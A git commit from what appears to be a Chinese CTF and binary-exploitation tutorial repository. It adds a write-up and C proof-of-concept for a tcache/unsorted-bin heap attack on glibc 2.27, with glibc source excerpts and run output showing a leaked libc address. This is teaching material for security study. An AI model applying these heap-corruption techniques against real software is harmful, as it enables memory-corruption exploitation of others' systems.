update tcache_unsorted_bin_attack

This commit is contained in:
firmianay 2018-05-30 15:08:08 +08:00
parent 070603e235
commit 39f250031b
4 changed files with 122 additions and 2 deletions

View File

@ -214,6 +214,96 @@ gef➤ x/4gx &stack_var-2
``` ```
从而泄漏了 unsorted bin 的头部地址。 从而泄漏了 unsorted bin 的头部地址。
那么继续来看 libc-2.27 里怎么处理:
```c
#include <stdio.h>
#include <stdlib.h>
int main() {
unsigned long stack_var = 0;
fprintf(stderr, "The target we want to rewrite on stack: %p -> %ld\n\n", &stack_var, stack_var);
unsigned long *p = malloc(0x80);
unsigned long *p1 = malloc(0x10);
fprintf(stderr, "Now, we allocate first small chunk on the heap at: %p\n",p);
free(p);
fprintf(stderr, "Freed the first chunk to put it in a tcache bin\n");
p[0] = (unsigned long)(&stack_var);
fprintf(stderr, "Overwrite the next ptr with the target address\n");
malloc(0x80);
malloc(0x80);
fprintf(stderr, "Now we malloc twice to make tcache struct's counts '0xff'\n\n");
free(p);
fprintf(stderr, "Now free again to put it in unsorted bin\n");
p[1] = (unsigned long)(&stack_var - 2);
fprintf(stderr, "Now write its bk ptr with the target address-0x10: %p\n\n", (void*)p[1]);
malloc(0x80);
fprintf(stderr, "Finally malloc again to get the chunk at target address: %p -> %p\n", &stack_var, (void*)stack_var);
}
```
```
$ gcc -g tcache_unsorted_bin_attack.c
$ ./a.out
The target we want to rewrite on stack: 0x7ffef0884c10 -> 0
Now, we allocate first small chunk on the heap at: 0x564866907260
Freed the first chunk to put it in a tcache bin
Overwrite the next ptr with the target address
Now we malloc twice to make tcache struct's counts '0xff'
Now free again to put it in unsorted bin
Now write its bk ptr with the target address-0x10: 0x7ffef0884c00
Finally malloc again to get the chunk at target address: 0x7ffef0884c10 -> 0x7f69ba1d8ca0
```
我们知道由于 tcache 的存在malloc 从 unsorted bin 取 chunk 的时候,如果对应的 tcache bin 还未装满,则会将 unsorted bin 里的 chunk 全部放进对应的 tcache bin然后再从 tcache bin 中取出。那么问题就来了,在放进 tcache bin 的这个过程中malloc 会以为我们的 target address 也是一个 chunk然而这个 "chunk" 是过不了检查的,将抛出 "memory corruption" 的错误:
```c
while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
{
bck = victim->bk;
if (__builtin_expect (chunksize_nomask (victim) <= 2 * SIZE_SZ, 0)
|| __builtin_expect (chunksize_nomask (victim)
> av->system_mem, 0))
malloc_printerr ("malloc(): memory corruption");
```
那么要想跳过放 chunk 的这个过程,就需要对应 tcache bin 的 counts 域不小于 tcache_count默认为7但如果 counts 不为 0说明 tcache bin 里是有 chunk 的,那么 malloc 的时候会直接从 tcache bin 里取出,于是就没有 unsorted bin 什么事了:
```c
if (tc_idx < mp_.tcache_bins
/*&& tc_idx < TCACHE_MAX_BINS*/ /* to appease gcc */
&& tcache
&& tcache->entries[tc_idx] != NULL)
{
return tcache_get (tc_idx);
}
```
这就造成了矛盾,所以我们需要找到一种既能从 unsorted bin 中取 chunk又不会将 chunk 放进 tcache bin 的办法。
于是就得到了上面的利用 tcache poisoning参考章节4.14),将 counts 修改成了 `0xff`,于是在进行到下面这里时就会进入 else 分支,直接取出 chunk 并返回:
```c
#if USE_TCACHE
/* Fill cache first, return to user only if cache fills.
We may return one of these chunks later. */
if (tcache_nb
&& tcache->counts[tc_idx] < mp_.tcache_count)
{
tcache_put (victim, tc_idx);
return_cached = 1;
continue;
}
else
{
#endif
check_malloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
```
于是就成功泄露出了 unsorted bin 的头部地址。
#### house_of_einherjar #### house_of_einherjar
```c ```c
#include <stdio.h> #include <stdio.h>

View File

@ -651,7 +651,7 @@ gdb-peda$ x/10gx (void *)p3-0x10
0x7fffffffdca0: 0x4242424242424242 0x4242424242424242 0x7fffffffdca0: 0x4242424242424242 0x4242424242424242
0x7fffffffdcb0: 0x4242424242424242 0x0000000000000000 0x7fffffffdcb0: 0x4242424242424242 0x0000000000000000
``` ```
于是我们得到了一个在栈上的 chunk。exe 于是我们得到了一个在栈上的 chunk。
有趣的是 tcache bin 的 counts 居然产生了整数溢出(`0x00-1=0xff` 有趣的是 tcache bin 的 counts 居然产生了整数溢出(`0x00-1=0xff`
``` ```
@ -665,6 +665,8 @@ gdb-peda$ x/12gx 0x0000555555756000+0x10
``` ```
看来这个机制仍然存在很多的问题啊。 看来这个机制仍然存在很多的问题啊。
注:突然这个 `0xff` 在 unsorted bin attack 里有很巧妙的用处,参考章节 3.18。
这一节的代码可以在[这里](../src/others/4.14_glibc_tcache)找到。其他的一些情况可以参考章节 3.3.6。 这一节的代码可以在[这里](../src/others/4.14_glibc_tcache)找到。其他的一些情况可以参考章节 3.3.6。

View File

@ -1,4 +1,4 @@
PROGRAMS = fastbin_dup tcache_double-free fastbin_dup_into_stack fastbin_dup_consolidate unsafe_unlink house_of_spirit poison_null_byte malloc_playground first_fit house_of_lore tcache_house_of_lore overlapping_chunks overlapping_chunks_2 house_of_force unsorted_bin_attack house_of_einherjar house_of_orange PROGRAMS = fastbin_dup tcache_double-free fastbin_dup_into_stack fastbin_dup_consolidate unsafe_unlink house_of_spirit poison_null_byte malloc_playground first_fit house_of_lore tcache_house_of_lore overlapping_chunks overlapping_chunks_2 house_of_force unsorted_bin_attack tcache_unsorted_bin_attack house_of_einherjar house_of_orange
CFLAGS += -std=c99 -g CFLAGS += -std=c99 -g
# CFLAGS += -fsanitize=address # CFLAGS += -fsanitize=address

View File

@ -0,0 +1,28 @@
#include <stdio.h>
#include <stdlib.h>
int main() {
unsigned long stack_var = 0;
fprintf(stderr, "The target we want to rewrite on stack: %p -> %ld\n\n", &stack_var, stack_var);
unsigned long *p = malloc(0x80);
unsigned long *p1 = malloc(0x10);
fprintf(stderr, "Now, we allocate first small chunk on the heap at: %p\n",p);
free(p);
fprintf(stderr, "Freed the first chunk to put it in a tcache bin\n");
p[0] = (unsigned long)(&stack_var);
fprintf(stderr, "Overwrite the next ptr with the target address\n");
malloc(0x80);
malloc(0x80);
fprintf(stderr, "Now we malloc twice to make tcache struct's counts '0xff'\n\n");
free(p);
fprintf(stderr, "Now free again to put it in unsorted bin\n");
p[1] = (unsigned long)(&stack_var - 2);
fprintf(stderr, "Now write its bk ptr with the target address-0x10: %p\n\n", (void*)p[1]);
malloc(0x80);
fprintf(stderr, "Finally malloc again to get the chunk at target address: %p -> %p\n", &stack_var, (void*)stack_var);
}